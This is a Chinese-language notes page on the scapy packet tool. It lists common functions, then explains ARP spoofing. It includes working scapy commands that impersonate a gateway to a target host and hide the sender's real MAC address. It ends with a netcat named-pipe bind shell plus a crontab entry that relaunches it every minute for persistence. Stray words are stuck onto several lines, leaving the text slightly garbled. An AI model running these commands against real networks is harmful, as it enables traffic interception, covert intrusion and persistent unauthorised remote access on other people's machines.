scapy 經常使用命令函數
ls() //查看支持的協議對象
lsc() //查看函數
show() //查看數據包結構
send() //三層發包
sr() //三層收發
sr1() //三層收發只收一 timeout指定超時 verbose指定詳情
sendp() //二層發包
srp() //二層收發
srp1() //二層收發只收一 timeout指定超時 verbose指定詳情對象
爲何選用op=1(who has)能欺騙成功, 而op=2(is-at)沒法欺騙成功?crontab
分析:psr
使用whohas 時,攻擊機發送 who has 192.168.10.66 tell 192.168.10.1請求
因此當66主機接受到該詢問包時,就會記錄發送請求的 源IP 和 源MAC ,im
而源IP是假的, 因此欺騙成功總結
而 使用is-at時,攻擊機先詢問 who has 192.168.10.66 tell 192.168.10.16數據
16是攻擊機,因此此時目標66收到該詢問包時就已經記錄了 192.168.10.16 和 16的MAC協議
地址映射,然後發送的 192.168.10.1 is at 16的MAC 就已經沒有用了查詢
總結:
ARP欺騙一臺主機,只有經過發送ARP請求包,對方纔收到請求本身的MAC地址時,
會把源IP和源MAC映射記錄,這一過程是欺騙的關鍵,也就是被動欺騙,經過op=2
主動和對方說某IP是某MAC地址這樣的方式是不會被記錄的。
爲何欺騙成功後,本身的真實的IP-MAC會被目標記錄
由於若是直接ARP發包,不指名 Ether包,系統默認會先去請求目標端mac地址
這個過程就被記錄了真實的,而後經過返回的目標mac構造第二層數據幀來發送
只要本身發送廣播幀,就能夠避免請求查詢mac地址的這一過程,從而避免漏出痕跡
下面發包不帶痕跡清理
send(ARP(psrc="192.168.10.1", pdst="192.168.10.66"));
下面是兩個有效的發包(帶痕跡清理)
監聽模式
sendp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(psrc="192.168.10.1", pdst="192.168.10.66"))
防禦模式
sendp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(psrc="192.168.10.16", hwsrc="8c:89:a5:8f:4a:d7", pdst="192.168.10.66"))
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh 2>&1 | nc -l 端口 > /tmp/tmp_fifo
----------------------------------------------------------------
crontab -e
* * * * * sleep 0;cat /tmp/tmp_fifo | /bin/sh 2>&1 | nc -l 端口 > /tmp/tmp_fifo
每分鐘執行一次命令